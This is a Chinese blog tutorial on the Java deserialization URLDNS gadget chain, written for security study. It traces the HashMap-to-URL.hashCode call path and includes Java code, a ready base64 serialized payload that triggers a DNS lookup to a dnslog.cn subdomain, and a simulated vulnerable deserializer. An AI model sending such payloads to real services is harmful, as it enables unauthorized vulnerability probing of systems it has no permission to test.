Java反序列化-URLDNS链

Java反序列化-URLDNS链

Java反序列化入门学习。

URLDNS

本文参考Deepseek编写。环境是IDEA + JDK1.8.0_492。

URLDNS介绍

URLDNS 链是 ysoserial 工具中的一条反序列化利用链。URLDNS通过反序列化过程触发一次DNS请求,常被用来检测是否存在Java反序列化漏洞(不出网的检测不到)。不限制JDK版本,使用Java内置的类,对第三方依赖没有要求。

调用链

java
HashMap.readObject()
    ↓
HashMap.putVal()(对每个键值对调用)
    ↓
HashMap.hash(key)(计算键的哈希值)
    ↓
key.hashCode() → URL.hashCode()(如果 key 是 URL 对象)
    ↓
handler.hashCode(this)(handler 为 URLStreamHandler 实例)
    ↓
getHostAddress(u) → InetAddress.getByName(host)(触发 DNS 查询)

URLDNS链的触发逻辑是利用HashMap在反序列化时会计算键的哈希值,而计算URL对象的哈希值会触发域名解析。

详细分析

1.入口点:HashMap.readObject()

java.util.HashMap 实现了 Serializable 接口并重写了 readObject 方法。在反序列化过程中,HashMap 会遍历读取所有序列化存储的键值对,并重新计算每个键的哈希值以重建哈希表:

java
    //这里只放关键代码
    for(int var9 = 0; var9 < var4; ++var9) {
        Object var10 = var1.readObject();
        Object var11 = var1.readObject();
        this.putVal(hash(var10), var10, var11, false, false);
    }

注意这个hash(var10)

2.哈希计算: HashMap.hash()

hash方法会调用hashCode方法,注意var0.hashCode()

java
    static final int hash(Object var0) {
        int var1;
        return var0 == null ? 0 : (var1 = var0.hashCode()) ^ var1 >>> 16;
    }

如果var0是URL对象,那么此处就会调用URL.hashCode()

3.触发DNS查询:URL.hashCode()

倘若hashCode!=1不成立,就会调用this.handler.hashCode(this)

java
    public synchronized int hashCode() {
        if (this.hashCode != -1) {
            return this.hashCode;
        } else {
            this.hashCode = this.handler.hashCode(this);
            return this.hashCode;
        }
    }

handler的定义是transient URLStreamHandler handler; ,它是一个URLStreamHandler类。

这时又触发URLStreamHandler.hashCode方法

4.DNS查询请求:URLStreamHandler.hashCode()

java
protected int hashCode(URL var1) {
        int var2 = 0;
        String var3 = var1.getProtocol();
        if (var3 != null) {
            var2 += var3.hashCode();
        }

        InetAddress var4 = this.getHostAddress(var1);
    //...
    //...
    //省略下面代码
    //...
    //...

追踪this.getHostAddress,发现又回到了URL.getHostAddress

java
protected InetAddress getHostAddress(URL var1) {
        return var1.getHostAddress();
    }
java
 synchronized InetAddress getHostAddress() {
        if (this.hostAddress != null) {
            return this.hostAddress;
        } else if (this.host != null && !this.host.isEmpty()) {
            try {
                this.hostAddress = InetAddress.getByName(this.host);
            } catch (SecurityException | UnknownHostException var2) {
                return null;
            }

            return this.hostAddress;
        } else {
            return null;
        }
    }

this.hostAddress = InetAddress.getByName(this.host);这个语句会解析hostip地址,至此会触发DNS查询。

实现

核心实现

最核心的实现只有下面的几行代码

先进DNSLoghttp://www.dnslog.cn/,Get SubDomain。

java
HashMap map=new HashMap();
URL url = new URL("http://h6fkk9.dnslog.cn");
map.put(url, "test");

put的时候会触发。

放在main跑一下,再回DNSLog Refresh Record,会发现多个很多记录,代表触发了

java
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws MalformedURLException {
        HashMap map=new HashMap();
        URL url = new URL("http://h6fkk9.dnslog.cn");
        map.put(url, "test");
    }
}

序列化与反序列化实现

URLDNS链主要是用来测反序列化漏洞,所以还需要额外处理。为了方便,我直接用base64输出而不是文件。

序列化

输出得到base64数据

text
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAEDBwOWg1OS5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQABHRlc3R4

反序列化

java
import java.io.ByteArrayInputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Vul {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        String b64Input="rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAEDBwOWg1OS5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQABHRlc3R4";
        byte[] data= Base64.getDecoder().decode(b64Input);
        ByteArrayInputStream bais=new ByteArrayInputStream(data);
        //反序列化
        ObjectInputStream ois=new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

反序列化的代码是模拟有反序列化漏洞的Java服务程序的。

readObject反序列化base64编码的序列化数据的时候就会触发DNS请求,在DNSLog进行判断。

🚲旧博客内容恢复
渗透学习笔记-春秋云镜-Aoselu-flag1,2

评论区

评论加载中...